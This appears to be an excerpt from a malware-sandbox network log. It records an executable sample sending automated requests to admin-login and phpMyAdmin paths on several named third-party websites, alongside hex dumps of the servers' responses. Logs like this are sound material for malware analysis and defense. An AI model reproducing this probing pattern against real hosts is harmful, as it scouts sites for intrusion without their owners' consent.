2023-11-26 05:59:34 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	58207	18.229.0.171	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	158	OUT	GET / HTTP/1.1 Host: rech.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	184	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 36 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/htmlContent-Length: 162Connection: closeLocation: https://www.rech.com/
2023-11-26 05:59:34 UTC	162	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	58173	199.34.228.177	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	1352	OUT	GET /administrator/index.php HTTP/1.1 Host: gatewaytoearlylearning.com Accept: / Accept-Encoding: deflate, gzip Cookie: PublishedSiteSession=eyJpdiI6IitSbkFTNmJDdjloOWhzTnFzTm9qZ1E9PSIsInZhbHVlIjoiaEFSQ29UbVZRQ29lczgrVDZYMGR4NDkyd1MwNkx2TG9kOUpoVEhxdUIzRSsydE50aGYxekF4RkRvNk1kaUh2c1hyYkVFalByeDJuOE9QckNwV21lMjVLTnY4cEV2TUtOZitzb1c0UVVLVWVCYTZ3NllZWmdiTXFYSlZyR0FhcHEiLCJtYWMiOiJhMjg5ZTNiNmRlMTdjMDllNTQzNTZjMmI5YTNhZmNhYzI4ZjExM2E0NTQ0ZDhiNGM4NjQ1Nzc0NDQ2MGViN2UyIiwidGFnIjoiIn0%3D; publishedsite-xsrf=eyJpdiI6IjNpSDA4TTd2dzFidW15T3J0Q1EwNEE9PSIsInZhbHVlIjoiTTRWK1RrOHAzeFRlbWNaSm15TU1yWmdObVBKYW9rQk43THM3ZzZRekFpQlNvM00yNkRvSTNBeEFDVlBkT3FvYUp1aTZrNEdub2Q4aE9NbHp2VmVGS2lRcUs5dC8rdE5USEtJMFZYdGNGRXJDU2tweUluS01ST3FTSnQ1ZWkxN3MiLCJtYWMiOiI1YTdkOGYwZDQ0ZjkwN2VkZjUxMThkMzI2MWE2YWJhOGNlMjUwYjdiZTE3OWYzMjQ5YjdhNDFhMTMyMmFhNjlhIiwidGFnIjoiIn0%3D; XSRF-TOKEN=eyJpdiI6InN0bXgycFppajByVzJ5VVFma0l6Q1E9PSIsInZhbHVlIjoiMHpVODVyYnBYREhlaXpTQS9mOTZkUUVYdjFHcWh4bWhnMytScHBadC9hbkF3RktMbXVBNmwwYVN4ZWVtQldJS2pwWm9rU0U4d2lYbGd4ZEFLNEVlOW5Bc0E3WFRCUmMwMjBjUFB1RDJ0NnZqR1ZlWWQ0ckxUWStRaWZqR1c4bmkiLCJtYWMiOiI2OTU4OWFkZGVkMzU2N2I5ZGJlMGVhMWJmZmUxYzA0NjdlYjBlNDM1M2M2ZTcyNDczYzkwNTNkOTc1NzdhMGU3IiwidGFnIjoiIn0%3D User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.gatewaytoearlylearning.com/administrator
2023-11-26 05:59:34 UTC	1148	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 0d 0a 53 65 74 2d 43 Data Ascii: HTTP/1.1 301 Moved PermanentlyServer: nginxContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveDate: Sun, 26 Nov 2023 05:59:34 GMTLocation: https://www.gatewaytoearlylearning.com/administrator/index.phpSet-C
2023-11-26 05:59:34 UTC	607	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 75 62 6c 69 73 68 65 64 53 69 74 65 53 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 68 61 53 6e 4a 75 53 45 39 77 52 30 4e 69 59 6d 56 6c 4d 6e 70 52 4d 6d 70 4a 51 33 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 65 44 46 45 4f 47 64 4b 59 6a 42 78 61 48 6b 72 5a 32 78 4e 61 6e 4a 46 57 46 68 59 4d 46 55 30 61 33 6c 54 52 54 5a 6b 56 30 5a 79 5a 57 74 78 65 56 5a 6a 62 46 59 7a 51 6c 52 53 52 33 70 6c 4e 54 5a 69 64 46 51 72 55 48 70 51 64 48 4d 32 62 32 35 76 63 45 74 70 4d 47 52 6c 64 31 68 72 55 33 4e 42 55 6c 52 55 4d 7a 4e 58 51 55 4a 5a 61 32 5a 30 61 79 73 35 65 47 52 4a 52 44 56 69 4f 46 4e 4c 5a 48 56 4f 56 48 68 32 53 6a 4a 45 4d 6c 4e 34 56 7a 4e 48 59 57 46 53 53 7a 68 50 53 56 42 72 59 7a Data Ascii: Set-Cookie: PublishedSiteSession=eyJpdiI6IkhaSnJuSE9wR0NiYmVlMnpRMmpJQ3c9PSIsInZhbHVlIjoieDFEOGdKYjBxaHkrZ2xNanJFWFhYMFU0a3lTRTZkV0ZyZWtxeVZjbFYzQlRSR3plNTZidFQrUHpQdHM2b25vcEtpMGRld1hrU3NBUlRUMzNXQUJZa2Z0ays5eGRJRDViOFNLZHVOVHh2SjJEMlN4VzNHYWFSSzhPSVBrYz
2023-11-26 05:59:34 UTC	506	IN	Data Raw: 31 65 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e 67 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 61 74 65 77 61 79 74 6f 65 61 72 6c 79 6c 65 61 72 6e 69 6e Data Ascii: 1ee<!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='https://www.gatewaytoearlylearning.com/administrator/index.php'" /> <title>Redirecting to https://www.gatewaytoearlylearnin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	58661	172.67.132.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	173	OUT	GET /phpmyadmin HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	626	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 70 72 69 76 61 74 65 0d 0a 43 46 2d 43 61 63 68 65 2d 53 74 61 74 75 73 3a 20 44 59 4e 41 4d 49 43 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: no-cache, privateCF-Cache-Status: DYNAMICReport-To: {"endpoints":
2023-11-26 05:59:34 UTC	743	IN	Data Raw: 37 64 33 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 69 6e 69 74 3d 7b 61 6a 61 78 3a 7b 64 65 6e 79 5f 6c 69 73 74 3a 5b 22 62 61 6d 2e 65 75 30 31 2e 6e 72 2d 64 61 74 61 2e 6e 65 74 22 5d 7d 7d 3b 28 77 69 6e 64 6f 77 2e 4e 52 45 55 4d 7c 7c 28 4e 52 45 55 4d 3d 7b 7d 29 29 2e 6c 6f 61 64 65 72 5f 63 6f 6e 66 69 67 3d 7b 6c 69 63 65 6e 73 65 4b 65 79 3a 22 4e 52 4a 53 2d 38 39 33 62 34 33 36 63 64 Data Ascii: 7d3d<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"><script type="text/javascript">(window.NREUM\|\|(NREUM={})).init={ajax:{deny_list:["bam.eu01.nr-data.net"]}};(window.NREUM\|\|(NREUM={})).loader_config={licenseKey:"NRJS-893b436cd
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 Data Ascii: oduct:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".concat(e,"
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c 73 65 73 73 69 6f 6e 5f 72 65 Data Ascii: TimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},session_re
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 28 22 2e 22 29 2c Data Ascii: hrow new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.split("."),
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 63 6f 6e 73 74 Data Ascii: new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e){try{const
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 Data Ascii: ent,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator instanceof
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 74 20 65 3d 61 72 67 75 6d 65 Data Ascii: (e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){let e=argume
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 65 78 74 3a 70 2c 62 75 66 66 Data Ascii: h;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,context:p,buff
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 Data Ascii: et signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&arguments

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	58629	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	322	OUT	GET /administrator/index.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip Cookie: pbid=172ff377aa4b3bde11e2a50383ed15a74ccd93833e8072198de1d3f5028def60 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://mydirectlender.com/administrator/
2023-11-26 05:59:34 UTC	494	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 65 78 70 69 72 65 73 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 36 3a 35 39 3a 33 33 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 78 2d 72 65 64 69 72 65 63 74 2d 62 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 0d 0a 63 6f 6e 74 65 6e 74 2d 6c 65 6e 67 74 68 3a 20 Data Ascii: HTTP/1.1 301 Moved PermanentlyConnection: closecontent-type: text/html; charset=UTF-8expires: Sun, 26 Nov 2023 06:59:33 GMTcache-control: max-age=3600x-redirect-by: WordPresslocation: https://mydirectlender.com/administrator/content-length:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	58421	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
